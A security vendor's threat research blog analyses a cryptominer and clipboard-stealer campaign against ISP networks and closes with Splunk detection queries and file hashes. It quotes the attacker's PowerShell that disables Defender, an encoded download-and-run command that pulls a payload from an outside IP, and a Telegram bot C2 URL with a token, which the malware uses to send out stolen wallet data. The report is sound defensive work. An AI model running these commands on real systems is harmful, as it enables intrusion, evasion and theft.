The Splunk Threat Research Team has identified a campaign targeting ISP infrastructure providers on the West Coast of the United States and the country of China. This mass exploitation campaign originates from Eastern Europe and uses simple tools that abuse victim’s computer processing power to install cryptomining payloads and binaries with diverse functions such as:
The Splunk Threat Research Team observed actors performing minimal intrusive operations to avoid detection, with the exception of artifacts created by accounts already compromised. This actor also moves and pivots primarily by using tools that depend and run on scripting languages (e.g., Python and Powershell), allowing the actor to perform under restricted environments and use API calls (e.g., Telegram) for C2 operations. The IP CIDR ranges observed indicate specific targeting of ISP infrastructure, likely with the purpose of performing cryptomining operations (XMR).
In the following sections, the Splunk Threat Research Team will analyze the three primary executables used in this campaign—MIG.RDP.EXE, Migrate.exe, and X64.exe—to identify and extract the MITRE ATT&CK® tactics and techniques employed at each stage.
Before delving into this analysis, we will first examine how the threat actor utilizes Windows Remote Management (WINRM) to gain access to the targeted host and execute these payloads.
The threat actor used brute force techniques to gain access to accounts when passwords are unknown or when password hashes have been obtained. Once the username and password was recovered, it will execute WINRM service to deploy the payload.
In Figure 1 and Figure 2, we see screenshots showing that cmd and PowerShell executed multiple processes originating from the parent process winrshost.exe. This process tree provides clear evidence that the threat actor leveraged the WINRM service to execute the malicious payload.
Figure 1: Several cmd/powershell execution via WINRM
Figure 2: Several cmd/powershell execution via WINRM
Upon decoding the PowerShell scripts, as seen in the code block below, the threat actor is attempting to prepare the compromised system for further payload execution. This preparation involves disabling security product features and terminating or stopping services associated with cryptominer detection. Additionally, numerous PowerShell script executions via the WINRM service exhibit behavior identical to one of the executables we discovered, the x64.exe, which will be analyzed in detail later in this blog.
Set-MpPreference -DisableRealtimeMonitoring $True
Set-MpPreference -ExclusionPath C:\Windows , c:\
gwmi -Class 'Win32_Process' | fl ExecutablePath
sc.exe stop "Windows Updata";
sc.exe delete "Windows Updata";
sc.exe stop "Windows Management";
sc.exe delete "Windows Management"
:
.
Figure 3: mig.rdp.exe infection chain simple diagram (For a larger resolution of this diagram visit this link)
During the Splunk Threat Research Team’s investigation of this campaign, the team observed downloads of a file named mig.rdp.exe onto the compromised host via WINRM services. The attack involves executing a Windows batch script that runs a Base64-encoded PowerShell script. This script facilitates the download and execution of the file, saving it as C:\users\mig.rdp.exe.
The two code block below displays two encoded PowerShell scripts designed to download and execute the mig.rdp.exe payload.
Encoded Powershell Script:
C:\Windows\system32\cmd.exe /C powershell -encodedcommand
KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUA
bgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADkAMwAuADMA
MgAuADEANgAyAC4ANgA0AC8AbQBpAGcAXwBvAGIALgBlAHgAZQAnACwAJwBjADoAXAB1AHMAZQByAHMA
XABtAGkAZwAuAHIAZABwAC4AZQB4AGUAJwApAAoA
Decoded (Downloading the Payload):
(new-object System.Net.WebClient).
DownloadFile('hxxp[:]//193[.]32[.]162[.]64/mig_ob.exe','c:\users\mig.rdp.exe')
Encoded Powershell Script:
C:\Windows\system32\cmd.exe /C powershell -encodedcommand
YwA6AFwAdQBzAGUAcgBzAFwAbQBpAGcALgByAGQAcAAuAGUAeABlAAoA
decoded:
c:\users\mig.rdp.exe
The downloaded mig.rdp.exe file is a RAR SFX executable that drops three additional files: ru.bat, st.bat, and migrate.exe. All of these files are placed in the C:\ProgramData directory and are executed on the compromised host. The attackers' choice of a RAR SFX (self-extracting archive) instead of a standard RAR file allows the attacker to combine both the extraction and execution processes into a single step. This consolidated approach reduces the complexity of deployment and eliminates the need for victims to have RAR software installed or manually extract and run the files, making the malware deployment more efficient and reliable.
Figure 4: mig.rdp.exe dropped files.
The ru.bat script is a batch file that simply triggers the execution of st.bat. The st.bat script is designed to disable the real-time monitoring feature of Windows Defender Antivirus. Additionally, it adds the C:\ root drive to Windows Defender's exclusion path, effectively evading detection for all malicious code stored in that location.
Beyond the defense evasion techniques, the executable further modifies the access permissions of the C:\Windows\Tasks\ directory using Windows utilities takeown and icacls.exe. This directory serves as the drop location for additional files used during the execution process to install a coinminer and information-stealing malware.
Figure 5 shows how the ICACLS application was used to enable the inheritance Access Control List (ACL’s) permissions in C:\Windows\Tasks folder path into (R,REA,RA,RD) mode, i.e.:
Figure 5: Enable Inheritance Permission of a Directory
These permissions give users listed in the screenshot above the ability to view the files and directories and read the associated metadata and extended attributes — but do not allow any modifications to the files, folders, or their contents. This defense evasion technique is a simple way to restrict users from tampering with or deleting the files.
Finally, this batch script will execute migrate.exe, which is a password-protected RAR SFX file (password: 4432) that extracts and runs the compressed files contained within it.
Migrate.exe will drop several files in the C:\Windows\Tasks folder to further its malicious activities on the compromised host. Below is a brief table listing the dropped files along with a short description of each.
File Name | Short Description |
---|---|
ApplicationsFrame.exe | Xmrig Bitcoin miner |
config.json | Xmrig configuration file |
IntelConfigService.exe | Autoit component for checking AV and malware analysis tool |
MicrosoftPrt.exe | Clip banker malware |
MSTask.exe | A Python-compiled component responsible for:
|
run.bat | A batch script responsible for:
|
Superfetch.exe | Xmrig Bitcoin miner |
WinRing0x64.sys | Driver component of Xmrig Bitcoin miner |
wmiic.exe | NSSM service utility tool |
wrap.exe | Xmrig Bitcoin miner |
In addition to deploying various Bitcoin miner malware through migrate.exe, some of the associated component files implement specific functions or techniques designed to restrict access to their files. These measures are aimed at preventing certain users or administrators from viewing, modifying, or deleting the malicious files, thereby enhancing the malware's ability to operate undetected and persist on the system.
Figure 6 shows a screenshot of the decompiled AutoIt code from `IntelConfigService.exe`, which checks for the presence of certain process utility tools on the compromised host. If the window title of a process matches "Process Hacker," the script will terminate the `ApplicationFrameHost.exe` process, which is identified as an XMRig crypto miner malware. If none of the process utility tools are detected and neither `ApplicationFrameHost.exe` nor `wrap.exe` are running as processes, the script will execute `wrap.exe`, another XMRig bitcoin miner. Additionally, it attempts to deny access to the current directory (C:\Windows\Tasks), where `IntelConfigService.exe` resides, by using ICACLS to block specific users, including administrators, from accessing the directory.
It will also attempt to run `Superfetch.exe`, another variant of the XMRig bitcoin miner, along with `MSTask.exe`.
Figure 6: Deny access of users and administrators.
Aside from denying access to specific users to its files using icacls.exe, one function of Mstask.exe, a Python-compiled executable, is to download another component file from its C2 server, which may be linked to a Bitcoin mining operation. Unfortunately, as of this writing, the URL shown in Figure 7 is no longer accessible.
Figure 7: Download CoinMiner Component
The batch script run.bat, dropped by migrate.exe in C:\Windows\Tasks, creates a persistence mechanism that ensures it is automatically executed either when the user logs in or during system reboot.
Figure 8: Startup Persistence Technique
In addition to using the startup folder technique, run.bat also installs the IntelConfigService.exe component as a service via C:\Windows\Tasks\wmiic.exe. This file is a copy of the third-party tool nssm, which is designed to install or start services in the Windows operating system.
Figure 8: Install and Start Malware as Service
After establishing privilege escalation and persistence, it will delete the files previously dropped in the C:\ProgramData directory and the C:\Users\mig.rdp.exe copy.
Figure 9: Delete Component Files
MicrosoftPrt.exe is a Python-compiled executable designed to steal information from the clipboard. Figure 10 illustrates the patterns it uses to identify potential cryptocurrency wallet addresses stored in the clipboard. These patterns are tailored to detect wallet addresses for cryptocurrencies such as Bitcoin (BTC), Ethereum (ETH), Binance Chain BEP2 (ETHBEP2), Litecoin (LTC), and TRON (TRX).
Figure 10: Pattern For Targeted Crypto Currency Wallet
By utilizing the pyperclip.paste library to access clipboard data, MicrosoftPrt.exe searches for the defined patterns within the ExchangeBuffer1, which contains the clipboard content.
Figure 11: Parsing Clipboard Data
In addition to its cryptocurrency parsing capabilities, this executable, known as a clipbanker, utilizes the pyautogui.screenshot function to capture screenshots of the compromised host. The captured image is then saved to C:\ProgramData\screenshot.png.
Figure 12: Capture Screenshots
After capturing screenshots of the compromised host and extracting potential cryptocurrency wallet addresses from the clipboard, the malware sends this data to its C2 server, which operates via a Telegram bot. Figure 13 provides a screenshot of the Python bytecode in MicrosoftPrt.exe, showing the process of preparing the collected data for transmission to the Telegram bot.
Figure 13: Telegram Bot as C2 Server
Since a complete decompilation of this Python executable failed during analysis, we were only relying on the Python bytecode that helped us to format the Telegram bot URL, which serves as the C2 server where the malware sends the collected data. The code block below provides a simplified pseudo-code for how the C2 URL is formed by combining the initialized variables used in the Telegram bot.
Base URL: 'https[:]//api[.]telegram[.]org/bot'
token: '6114976417:AAELsO_lvdyvXRw-Fwj5RmwJFc81WkgJOYI'
Send Message Endpoint: '/sendMessage'
Query Parameters:
chat_id: '552691400'
text:
Hostname (pc)
Username (user)
'LTC\n'
Clipboard content (ExchangeBuffer)
'LTC' wallet address (Litecoin)
complete C2 link for sending LTC data:
https[:]//api[.]telegram[.]org/bot6114976417:AAELsO_lvdyvXRw-Fwj5RmwJFc81WkgJOY
I/sendMessage?chat_id=552691400&text=\n\nLTC\n\n
Additionally, the Splunk Threat Research Team observed another file being downloaded onto the compromised host via C:\Windows\Tasks\ApplicationFrameHost.exe, named x64.exe. This file is a self-extracting RAR SFX executable that extracts several files upon execution with password ‘2582’ and has the same script execution we observed in WINRM -> Powershell execution in the compromised host.
ApplicationFrameHost.exe then runs a batch script containing an encoded PowerShell script.
Figure 14: x64.exe Infection Chain (For a larger resolution of this diagram visit this link)
Figure 15: x64.exe Execution via Batch Script
Once the PowerShell script is decoded, it reveals that it terminates any processes potentially related to its components. It then downloads x64.exe and saves it in the C:\Windows\Migration folder.
Figure 16: Download x64.exe Payload
X64.exe will drop several files in the C:\Windows\Migration folder, including the following:
File Name | Short Description |
---|---|
Auto.exe | A Python-compiled executable for massscan |
Masscan.exe | Multi masscan tool |
Run.bat | Install service |
Run.exe | Execute the mass scan and several Powershell script as part of clean up process |
Vc.exe | Legitimate vcredist_x86.exe installer |
Wmiic.exe | nssm service manager utility tool |
WP.exe | Old winpcap installer |
Auto.exe is designed to download a password list (pass.txt),list of IP addresses (ip.txt) from its C2 server. This list is used for brute-forcing a targeted set of IP addresses with specific ISP CIDR. This payload can also target generated IPs as well. In Figure 17, we can observe that the malware utilizes the masscan tool to perform active scanning on the IP addresses passed to the function.
Figure 17: Masscan Functions
The Splunk Threat Research Team also observed a series of connections where the Auto.exe file attempts to connect via SSH. Upon examining the code of Auto.exe, it was revealed that the malware uses specific SSH credentials to establish remote access to the C2 server through the SSH port. These credentials, which are likely hardcoded into the executable, allow the malware to authenticate and communicate with the C2 server. The use of SSH for communication suggests that the malware is attempting to maintain a secure and persistent connection with the server, enabling it to send and receive commands or exfiltrate data.
Figure 18: SSH Connection Attempts
Figure 19: SSH Connection Credentials
Both Auto.exe and run.exe include a function that checks whether the WINRM service (port 5985) is open on a given IP address, which they attempt to scan using the password list downloaded earlier. If the malware successfully connects or confirms that WINRM is open, it proceeds to send the verified credentials to its Telegram bot C2 server, similar to the behavior observed in other components. This functionality enhances the malware's ability to exploit vulnerable systems by leveraging WINRM for remote access and transmitting the stolen credentials for further malicious use.
Figure 20: auto.exe WINRM Check Function
Figure 21: run.exe WINRM Check Function
Run.exe executes several scripts and PowerShell commands as part of its cleanup process on the compromised host. Interestingly, we observed the same pattern of PowerShell execution via the WINRM service that was previously discussed in this blog, particularly in relation to how mig.rdp.exe was installed on the compromised system. This indicates that the malware consistently uses WINRM to carry out various tasks, including cleanup, to maintain persistence and avoid detection on the infected host.
Figure 22 displays a code snippet showing a series of PowerShell and batch scripts executed by the malware. From this, we can see that it downloads and executes mig.rdp.exe again, likely an updated version. Additionally, the malware disables Windows Defender features and performs various access modifications using “takeown” and ICACLS, which are Windows utility tools for taking ownership of files and altering access control lists. These actions suggest that the malware is attempting to secure its presence on the compromised host while evading detection and maintaining control.
Figure 22: Series of Indicator Removal Powershell Script
As part of its cleanup process, the malware also attempts to delete scheduled tasks and terminate or stop all services associated with its components, including any services related to the Xmrig cryptominer. These actions are likely intended to remove traces of the malware’s activities and ensure it can evade detection and persistence mechanisms on the compromised system.
Figure 23: Service Removal of Malware
Run.exe also disables the RDP service by modifying the registry and disables the WINRM service by altering its service configuration. These actions are intended to block remote access and hinder any potential attempts to regain control of the compromised system, further securing the malware's presence on the infected host.
Figure 24: Disabling RDP and WINRM
Additionally, by utilizing the “quser” utility in Windows OS, the malware attempts to log off all active users on the compromised host. This action is likely part of its effort to disrupt any ongoing sessions and prevent users from detecting or interrupting its malicious activities.
Figure 25: LogOff Active User
The actions observed by this actor during the entrenchment and subsequent operations within the targeted hosts appear to rely on scripting languages (e.g., Python-compiled executables, PowerShell commands) reducing the footprint of these operations to the minimum, disabling defense mechanisms, blocking remote access and avoiding detection by using Telegram API calls to the C2.
These actions could be described as “just enough” to successfully operate on victims and obtain as much processing power as possible. The Splunk Threat Research Team was also able to validate this actor via Cisco Talos’ Intelligence Center.
Figure 26, shows the identified actor IP address through Cisco Talos Intelligence Center.
Further check in Virustotal also confirms malicious activity.
Figure 27, shows the identified actor IP address verified and validated as malicious at Virus Total.
As stated in this advisory, the actor targeted specific CIDRs of ISP infrastructure providers located on the West Coast of the United States and in the country of China. These IPs were targeted by using a masscan tool which allows operators to scan large numbers of IP addresses which can subsequently be probed for open ports and credential brute force attacks. The Splunk Threat Research Team was able to verify over 4,000 IP addresses of ISP providers specifically targeted.
The Splunk Threat Research Team has developed a set of detections to help Splunk customers identify potential indicators related to this crypto and info stealer campaign. These detections, detailed in the section below, have been incorporated into the new Crypto Stealer Analytic Story alongside other relevant detections.
The following detection identifies processes running from file paths not typically associated with legitimate software. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific process paths within the Endpoint data model.
| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
as lastTime from datamodel=Endpoint.Processes where Processes.process_path
IN("*\\windows\\fonts\\*",
"*\\windows\\temp\\*", "*\\users\\public\\*", "*\\windows\\debug\\*",
"*\\Users\\Administrator\\Music\\*",
"*\\Windows\\servicing\\*", "*\\Users\\Default\\*", "*Recycle.bin*",
"*\\Windows\\Media\\*", "\\Windows\\repair\\*",
"*\\temp\\*" , "*\\PerfLogs\\*","*\\windows\\tasks\\*", "*:\\programdata\\*")
by
Processes.parent_process_name Processes.parent_process
Processes.process_path Processes.dest
Processes.user
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
Figure 28: Suspicious Process File Path Detection
The following analytic identifies the creation of executables or scripts in suspicious file paths on Windows systems. It leverages the Endpoint.Filesystem data model to detect files with specific extensions (e.g., .exe, .dll, .ps1) created in uncommon directories (e.g., \windows\fonts\, \users\public\).
| tstats `security_content_summariesonly` values(Filesystem.file_path) as
file_path count min(_time) as firstTime max(_time) as lastTime from
datamodel=Endpoint.Filesystem
where Filesystem.file_name IN ("*.exe", "*.dll", "*.sys", "*.com", "*.vbs",
"*.vbe",
"*.js", "*.ps1", "*.bat", "*.cmd", "*.pif") AND Filesystem.file_path IN
("*\\windows\\fonts\\*",
"*\\windows\\temp\\*", "*\\users\\public\\*", "*\\windows\\debug\\*",
"*\\Users\\Administrator\\Music\\*",
"*\\Windows\\servicing\\*", "*\\Users\\Default\\*", "*Recycle.bin*",
"*\\Windows\\Media\\*",
"*\\Windows\\repair\\*", "*\\AppData\\Local\\Temp*", "*\\PerfLogs\\*",
"*:\\temp\\*")
by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name
Filesystem.user
| `drop_dm_object_name(Filesystem)`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
Figure 29: Executables Or Script Creation In Suspicious Path Detection
The following analytic detects the creation of files in the Windows %startup% folder, a common persistence technique. It leverages the Endpoint.Filesystem data model to identify file creation events in this specific directory.
|tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
as lastTime from datamodel=Endpoint.Filesystem where
Filesystem.file_path = "*\\Microsoft\\Windows\\Start
Menu\\Programs\\Startup\\*" by Filesystem.file_create_time
Filesystem.process_id Filesystem.file_name Filesystem.user Filesystem.file_path
Filesystem.process_guid Filesystem.dest
| `drop_dm_object_name(Filesystem)`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
Figure 30: Windows Boot or Logon Autostart Execution In Startup Folder Detection
The following detection identifies the enabling of permission inheritance using ICACLS. This analytic identifies instances where ICACLS commands are used to enable permission inheritance on files or directories. The /inheritance:e flag, which restores inherited permissions from a parent directory, is monitored to detect changes that might reapply broader access control settings.
| tstats `security_content_summariesonly` min(_time) as firstTime max(_time)
as lastTime from datamodel=Endpoint.Processes
where Processes.process_name IN( "icacls.exe", "cacls.exe", "xcacls.exe") AND
Processes.process = "*/inheritance:e*"
by Processes.parent_process_name Processes.parent_process
Processes.process_name Processes.process Processes.process_guid Processes.dest
Processes.user
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
Figure 31: Windows File and Directory Permissions Enable Inheritance Detection
This detection identifies instances where ICACLS is used to remove permission inheritance from files or directories. The /inheritance:r flag, which strips inherited permissions while optionally preserving or altering explicit permissions, is monitored to detect changes that may restrict access or establish isolated permission configurations.
| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as
lastTime from datamodel=Endpoint.Processes
where Processes.process_name IN( "icacls.exe", "cacls.exe", "xcacls.exe")
AND Processes.process = "*/inheritance:r*"
by Processes.parent_process_name Processes.parent_process
Processes.process_name Processes.process Processes.process_guid Processes.dest
Processes.user
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
Figure 32: Windows File and Directory Permissions Remove Inheritance Detection
The following analytic detects the use of DNS API calls associated with Telegram, which may indicate access via a Telegram BOT commonly used by malware for C2 communications.
`sysmon` EventCode=22 query = "api.telegram.org"
| stats count min(_time) as firstTime max(_time) as lastTime by query answer
QueryResults QueryStatus process_name process_guid Computer
| rename Computer as dest
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
Figure 33: Windows DNS Query Request by Telegram Bot API Detection
The following analytic detects the execution of winrshost.exe initiating CMD or PowerShell processes as part of a potential payload execution. winrshost.exe is associated with WINRM and is typically used for remote execution.
| tstats `security_content_summariesonly` min(_time) as firstTime max(_time)
as lastTime from datamodel=Endpoint.Processes
where Processes.parent_process_name="winrshost.exe" AND
Processes.process_name IN ("cmd.exe","*powershell*")
by Processes.parent_process_name Processes.parent_process
Processes.process_name Processes.process Processes.process_guid Processes.dest
Processes.user
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
Figure 34: Windows Remote Management Execute Shell Detection
The following analytic detects instances where file or folder permissions are modified to grant read-only access. Such changes are characterized by the presence of read-related permissions (e.g., R, REA, RA, RD) and the absence of write (W) or execute (X) permissions.
| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as
lastTime from datamodel=Endpoint.Processes
where Processes.process_name IN( "icacls.exe", "cacls.exe", "xcacls.exe") AND
Processes.process IN ("*/grant*", "*/G*") AND Processes.process IN ("*SYSTEM*",
"*admin*", "*S-1-1-0*", "*EVERYONE*")
by Processes.parent_process_name Processes.parent_process
Processes.process_name Processes.process Processes.process_guid Processes.dest
Processes.user
| `drop_dm_object_name(Processes)`
| rex field=process ":\\((?[^)]+)\\)"
| eval has_read_attribute=if(match(permission, "R"), "true", "false")
| eval has_write_execute=if(match(permission, "(W|GA|X|M|F|AD|DC|DE)"),
"true", "false")
| where has_write_execute="true" and has_read_attribute = "true"
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
Figure 35: Windows File and Directory Enable ReadOnly Permissions Detection
The following detection identifies the use of the quser and logoff commands to forcibly terminate a user session. This activity could be indicative of an administrative task or a potentially unauthorized access attempt.
| tstats `security_content_summariesonly` min(_time) as
firstTime max(_time) as lastTime from datamodel=Endpoint.Processes
where Processes.parent_process_name = powershell.exe AND
Processes.process_name = logoff.exe
by Processes.parent_process_name Processes.parent_process
Processes.process_name Processes.process Processes.process_guid Processes.dest
Processes.user
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
Figure 36: Windows Account Access Removal via Logoff Exec Detection
The following analytic detects the creation of RAR-SFX files by monitoring the generation of files related to RAR SFX .tmp file creation during SFX installation. This method leverages a heuristic to identify RAR SFX archives based on specific markers that indicate a combination of executable code and compressed RAR data.
`sysmon` EventCode=11 TargetFilename IN ("*__tmp_rar_sfx_access_check*")
| stats count min(_time) as firstTime max(_time) as lastTime by Image
TargetFilename Computer
| rename Computer as dest
| rename TargetFilename as file_name
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
Figure 37: Windows Obfuscated Files or Information via RAR SFX Detection
Overall, the Crypto Stealer analytic story introduces 43 detections, all of which are mapped to relevant MITRE ATT&CK techniques.
Name | SHA256 hash |
---|---|
ru.bat | 76b1237d26b94eb75ed600ba51d4b2414a8da48 a30d06973921bcd0ee9fac761 |
st.bat | 76b1237d26b94eb75ed600ba51d4b2414a8da48 a30d06973921bcd0ee9fac761 |
migrate.exe | 76b1237d26b94eb75ed600ba51d4b2414a8da4 8a30d06973921bcd0ee9fac761 |
ApplicationsFrameHost.exe | 4d084a7e0c656d038d3176e97a4f807d094ce7 8f6b1f92a6ada7b93cf6a7cf03 |
config.json | 78f69097a5ba8480e39d735732d22319d7f4d05 002940d99b326970353c8a545 |
IntelConfigService.exe | 713120bac7807f6fc0a6050135556c0614a66be2 fb476cfe163877f3d03b4d08 |
MicrosoftPrt.exe | 16d2f6194d1b1989fbef4572055dbf62a0d6a2570 b316ac15722192f1c559a50 |
MSTask.exe | 95c101a0164af189cc282eb2d67e143b42e6d57d7 ef396d59715a355a3162b96 |
run.bat | 6c36d61ad03e33dc3bc5d26e336855c4ab14754 1ccb989a35d3ed470fd1d521f |
Superfetch.exe | 9e24c7b4604aa3022325b62154ac80dc76533fa 96a3418d8e15d28c998fb9c53 |
WinRing0x64.sys | 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe 0fd418a3dfdac60b5c160ee5 |
Wmiic.exe | 644c9745d1d2f679db73fcb717dd37e180e19d5b 0fc74575e4cefe4f543f2768 |
Wrap.exe | 1cf2bdb1cdd34bb50d60f21b8208041913747b8d eca5f26aa187d2e8c0e9a105 |
run.exe | 270b8685104389b8341dc7c68fb362579170b82 bffe89cc964cb27c10e496f08 |
wmiic.exe | 644c9745d1d2f679db73fcb717dd37e180e19d5b 0fc74575e4cefe4f543f2768 |
auto.exe | 2b8be1bbaf17a69326f65096a31054a1198e66a8 3e31c37d1eee1c2580d6c7fa |
masscan.exe | 837dc4e83fcefc8334384c88d672eb2dee31bceb 64657ca7bb4322536a810192 |
run.bat | 57d0b8a89b216aadb6525bccfdb67917d52e2398 56ae9011721e84746b99571e |
x64.exe | f98a335a128a062323476454ae7c5490c5a134461 ab49ee05afa81b4714d033c |
This blog helps security analysts, blue teamers and Splunk customers identify this crypto miner and info stealer malware campaign by enabling the community to discover related tactics and techniques used by the threat actor. You can implement the detections in this blog using the Enterprise Security Content Updates app or the Splunk Security Essentials app. To view the Splunk Threat Research Team's complete security content repository, visit research.splunk.com.
Any feedback or requests? Feel free to put in an issue on Github and we’ll follow up. Alternatively, join us on the Slack channel #security-research. Follow these instructions If you need an invitation to our Splunk user groups on Slack.
We would like to thank Teoderick Contreras and Rod Soto, for authoring this post and the entire Splunk Threat Research Team for their contributions: Jose Hernandez, Patrick Bareiss, Michael Haag, Lou Stella, Bhavin Patel, Eric McGinnis, and Nasreddine Bencherchali.
The world’s leading organizations rely on Splunk, a Cisco company, to continuously strengthen digital resilience with our unified security and observability platform, powered by industry-leading AI.
Our customers trust Splunk’s award-winning security and observability solutions to secure and improve the reliability of their complex digital environments, at any scale.